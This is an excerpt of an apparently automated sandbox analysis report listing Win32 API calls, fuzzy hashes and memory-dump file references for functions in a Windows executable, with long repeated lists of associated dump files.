          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Client$Screen$Rect$ObjectParentSelect$EqualExtentH_prologMessagePoint32SendText
          • String ID:
          • API String ID: 98060165-0
          • Opcode ID: cab7e7fbb99e59ee33ed4be0b85a49e37ceb2929da20f05029fbe64c4447e21c
          • Instruction ID: f7bd2997cee3617c0424afe6966cf05ba3f4d4db64b5cef27f96aa4160c6267b
          • Opcode Fuzzy Hash: cab7e7fbb99e59ee33ed4be0b85a49e37ceb2929da20f05029fbe64c4447e21c
          • Instruction Fuzzy Hash: 9A919FB16087019FD718CF28C881A6BBBE5EBC8704F144A2EF596C3351DB78E9058B96
          APIs
          • CreateFileA.KERNEL32(00000001,80000000,?,0000000C,00000001,00000080,00000000,?,00000000,00000000), ref: 0048EB00
          • GetLastError.KERNEL32 ref: 0048EB0C
          • GetFileType.KERNEL32(00000000), ref: 0048EB21
          • CloseHandle.KERNEL32(00000000), ref: 0048EB2C
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: File$CloseCreateErrorHandleLastType
          • String ID: @$H
          • API String ID: 1809617866-104103126
          • Opcode ID: 1438cde6f6b67641c254d06653955d8c06d69722d52147473dc895caada07999
          • Instruction ID: 661673362a0329580a213918504c2cb61a5d4407e5a0c27325fce1bb70bd245b
          • Opcode Fuzzy Hash: 1438cde6f6b67641c254d06653955d8c06d69722d52147473dc895caada07999
          • Instruction Fuzzy Hash: 588148718042499AEF24BF6ACC447BF7B60AF01724F144E1BE9616B2D1C3BC9D45874E
          APIs
          • SetRect.USER32(?,00000000,00000032,00000032,?), ref: 004296B9
          • OffsetRect.USER32(?,?,?), ref: 004296C6
          • IntersectRect.USER32(?,?,?), ref: 004296E2
          • IsRectEmpty.USER32(?), ref: 004296ED
          • OffsetRect.USER32(?,?,?), ref: 0042972A
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Rect$Offset$EmptyIntersect
          • String ID: 2
          • API String ID: 765610062-450215437
          • Opcode ID: 0ced3cef6c1854f1e0a2d37479c1252133021ec5ce1f77215c678a388d5410bd
          • Instruction ID: ad090a2ca5e854a70e7e3ea4b2cbc70a8fdc682c35107ab29079ad60a85c75f2
          • Opcode Fuzzy Hash: 0ced3cef6c1854f1e0a2d37479c1252133021ec5ce1f77215c678a388d5410bd
          • Instruction Fuzzy Hash: A06115756083419FD718CF29D88496BBBE9FBC8344F548A2EF58987320D734E905CB56
          APIs
          • SendMessageA.USER32(?,0000019F,00000000,00000000), ref: 0049A491
          • GetParent.USER32(?), ref: 0049A498
            • Part of subcall function 00495FC7: GetWindowLongA.USER32(?,000000F0), ref: 00495FD3
          • SendMessageA.USER32(?,00000187,00000000,00000000), ref: 0049A4EB
          • SendMessageA.USER32(0000AC84,00000111,?,?), ref: 0049A53C
          • SendMessageA.USER32(?,00000185,00000000,00000000), ref: 0049A5C7
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: MessageSend$LongParentWindow
          • String ID:
          • API String ID: 779260966-3916222277
          • Opcode ID: 8c4ff1882fa6384aa4319869433268e75a7acb627c7f45bbca696edea0fcda06
          • Instruction ID: efac35096b81773b04dcb5a7bc175df0639872e40f415570526eb435f48e2c2f
          • Opcode Fuzzy Hash: 8c4ff1882fa6384aa4319869433268e75a7acb627c7f45bbca696edea0fcda06
          • Instruction Fuzzy Hash: D131C6703007147FCE247E768C8593F7EEDEB85758B12493EF542C2291DA29DC1586EA
          APIs
          • GetParent.USER32(?), ref: 0049599B
          • PeekMessageA.USER32(00000000,00000000,00000000,00000000,00000000), ref: 004959C4
          • UpdateWindow.USER32(?), ref: 004959E0
          • SendMessageA.USER32(?,00000121,00000000,?), ref: 00495A06
          • SendMessageA.USER32(?,0000036A,00000000,00000001), ref: 00495A25
          • UpdateWindow.USER32(?), ref: 00495A68
          • PeekMessageA.USER32(00000000,00000000,00000000,00000000,00000000), ref: 00495A9B
            • Part of subcall function 00495FC7: GetWindowLongA.USER32(?,000000F0), ref: 00495FD3
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Message$Window$PeekSendUpdate$LongParent
          • String ID:
          • API String ID: 2853195852-0
          • Opcode ID: 721a56e11905d21b0b4bfac9dc6d762480e7ba4d90bcec2fcb9b4a8c593998ac
          • Instruction ID: 35d923d3260cb4cdd1d62cee82050d6affa1646497b530ea23a6da2e67d150d3
          • Opcode Fuzzy Hash: 721a56e11905d21b0b4bfac9dc6d762480e7ba4d90bcec2fcb9b4a8c593998ac
          • Instruction Fuzzy Hash: 8E419230604B419FDB229F269884A1FBFE4EFC5B54F240A3EF48286251D779C945CB9A
          APIs
            • Part of subcall function 0049B8E2: __EH_prolog.LIBCMT ref: 0049B8E7
            • Part of subcall function 00495FC7: GetWindowLongA.USER32(?,000000F0), ref: 00495FD3
          • SendMessageA.USER32(?,000001A1,00000000,00000000), ref: 0049A207
          • SendMessageA.USER32(?,0000018B,00000000,00000000), ref: 0049A216
          • SendMessageA.USER32(?,0000018E,00000000,00000000), ref: 0049A22F
          • SendMessageA.USER32(?,0000018E,00000000,00000000), ref: 0049A257
          • SendMessageA.USER32(?,0000018B,00000000,00000000), ref: 0049A266
          • SendMessageA.USER32(?,00000198,?,?), ref: 0049A27C
          • PtInRect.USER32(?,000000FF,?), ref: 0049A288
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: MessageSend$H_prologLongRectWindow
          • String ID:
          • API String ID: 2846605207-0
          • Opcode ID: fd9b7eedd8d32e1a261f358265c63c596ae0b40c52304774a0dc013aa9300e0b
          • Instruction ID: 566cde8a471cd380e70ab28b990b03a746af0e94092d4a978f18965d1103ce32
          • Opcode Fuzzy Hash: fd9b7eedd8d32e1a261f358265c63c596ae0b40c52304774a0dc013aa9300e0b
          • Instruction Fuzzy Hash: A7312770A0020DFFDF10EF95CC81DAEBBB9EF44348B20846AE511A72A0D735AE169B54
          APIs
          • lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,?,00496332,?), ref: 00496372
          • GetFileTime.KERNEL32(00000000,2cI,?,?,?,?,?,?,?,?,?,00496332,?), ref: 00496393
          • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,00496332,?), ref: 004963A2
          • GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,?,00496332,?), ref: 004963C3
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: File$AttributesSizeTimelstrcpyn
          • String ID: 2cI$2cI
          • API String ID: 1499663573-813491214
          • Opcode ID: 7943ab10984bbcef8e40770cd85527bb5ffdcfd6a1ca73f17e0cc91edf82e46f
          • Instruction ID: 5a6eb99a53f7d4f8d375ff5a5ed1f1aa747b5fc333572c5149290656d408c709
          • Opcode Fuzzy Hash: 7943ab10984bbcef8e40770cd85527bb5ffdcfd6a1ca73f17e0cc91edf82e46f
          • Instruction Fuzzy Hash: C0318F72500605AFDB20DFA0C885FABBBF8BB14310F104A3EE552D7690E774A985CB98
          APIs
          • RegOpenKeyExA.ADVAPI32(80000001,software,00000000,0002001F,?,?,00000000), ref: 0049C5FB
          • RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?,?,00000000), ref: 0049C61E
          • RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?,?,00000000), ref: 0049C63D
          • RegCloseKey.ADVAPI32(?,?,00000000), ref: 0049C64D
          • RegCloseKey.ADVAPI32(?,?,00000000), ref: 0049C657
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CloseCreate$Open
          • String ID: software
          • API String ID: 1740278721-2010147023
          • Opcode ID: 85186c031de4d43c42eef04bb6b2f8c1b7c5295ca5283330a53d299b3ca960f8
          • Instruction ID: de9cc4a86fd265a2d80c5e0a2ca2718a1b359ce1b7e927711ff62296af32f23d
          • Opcode Fuzzy Hash: 85186c031de4d43c42eef04bb6b2f8c1b7c5295ca5283330a53d299b3ca960f8
          • Instruction Fuzzy Hash: 4D11E676D00158FBDB11DB9ACD84DEFFFBCEF86744F1040AAA504A2121D2705E41DBA4
          APIs
          • SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 0047FF48
          • GetSystemMetrics.USER32(00000000), ref: 0047FF60
          • GetSystemMetrics.USER32(00000001), ref: 0047FF67
          • lstrcpyA.KERNEL32(?,DISPLAY), ref: 0047FF8B
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: System$Metrics$InfoParameterslstrcpy
          • String ID: B$DISPLAY
          • API String ID: 1409579217-3316187204
          • Opcode ID: a87494d906256de3433956aaa2ba17c6495930c9caba465c346396a6b872f0a7
          • Instruction ID: 8467ed6a6ae36f842bfb65c516726bbf105d6517628dc016bef0567214f44d39
          • Opcode Fuzzy Hash: a87494d906256de3433956aaa2ba17c6495930c9caba465c346396a6b872f0a7
          • Instruction Fuzzy Hash: 25119172600224AFCB11DF648C84ADBBFA8EF0A754B048073E809DE152DA75D544CBA9
          APIs
          • GetSysColor.USER32(0000000F), ref: 00497CC6
          • GetSysColor.USER32(00000010), ref: 00497CCD
          • GetSysColor.USER32(00000014), ref: 00497CD4
          • GetSysColor.USER32(00000012), ref: 00497CDB
          • GetSysColor.USER32(00000006), ref: 00497CE2
          • GetSysColorBrush.USER32(0000000F), ref: 00497CEF
          • GetSysColorBrush.USER32(00000006), ref: 00497CF6
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Color$Brush
          • String ID:
          • API String ID: 2798902688-0
          • Opcode ID: 543addeddcc34a236dd7761b4b7f7fba4d893ed4bb1e93ee94811d4b35cdbfd7
          • Instruction ID: 7f9caaee45944841faa6c3aa82ef68f09c4a9c94d5c4dd4e4cc50902d0fcc655
          • Opcode Fuzzy Hash: 543addeddcc34a236dd7761b4b7f7fba4d893ed4bb1e93ee94811d4b35cdbfd7
          • Instruction Fuzzy Hash: C1F012719407445BD730BF769D49B47BED4FFC4B10F02092ED1458BA90E6B5A400DF44
          APIs
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Window$ChildFocusVisible
          • String ID:
          • API String ID: 372613587-0
          • Opcode ID: 405fc01697aae2d5ee5733dd474674a215c7cf694171b804e86910c3a63f9a99
          • Instruction ID: 748554b6311912b3ff6843d1d7c051a215691b5e54712e0ffa750d2da256a140
          • Opcode Fuzzy Hash: 405fc01697aae2d5ee5733dd474674a215c7cf694171b804e86910c3a63f9a99
          • Instruction Fuzzy Hash: 7D51BE716003459FD720EF26D880D6BB7E8BF94348F45492EF84597362DB38E805CBAA
          APIs
          • SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0043D82C
            • Part of subcall function 00491AF1: InterlockedIncrement.KERNEL32(-000000F4), ref: 00491B06
          • OpenPrinterA.WINSPOOL.DRV(?,?,00000000), ref: 0043D85D
          • DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000000,?,?,?,?,00000000), ref: 0043D8A5
          • DocumentPropertiesA.WINSPOOL.DRV(?,?,?,00000000,00000000,0000000E,00000000,?,00000000,00000000,00000000,00000002,00000000), ref: 0043D932
          • ClosePrinter.WINSPOOL.DRV(?,?,?,?,00000000,00000000,0000000E,00000000,?,00000000,00000000,00000000,00000002,00000000), ref: 0043D967
            • Part of subcall function 00491D7C: InterlockedDecrement.KERNEL32(-000000F4), ref: 00491D90
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: DocumentInterlockedProperties$CloseDecrementIncrementMessageOpenPrinterPrinter.Send
          • String ID:
          • API String ID: 1978028495-0
          • Opcode ID: 74e652f4ea4ed92b8a081c590429e9d66f105af319a310f0ea609653eff930e6
          • Instruction ID: a8941f3fd1dd7c0d12a6bf64797a4ad8495eecc862e7cb09f89899bc3600b111
          • Opcode Fuzzy Hash: 74e652f4ea4ed92b8a081c590429e9d66f105af319a310f0ea609653eff930e6
          • Instruction Fuzzy Hash: 614115B4104345ABC724EF25C880EEF7BA9EFD8724F004A1EF85987391D7389944C7AA
          APIs
          • CopyRect.USER32(?,00000000), ref: 00434082
          • IsRectEmpty.USER32(?), ref: 004340B3
          • OffsetRect.USER32(?,00000000,?), ref: 00434103
          • LPtoDP.GDI32(?,?,00000002), ref: 00434138
          • GetClientRect.USER32(?,?), ref: 00434147
          • IntersectRect.USER32(?,?,?), ref: 0043415C
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
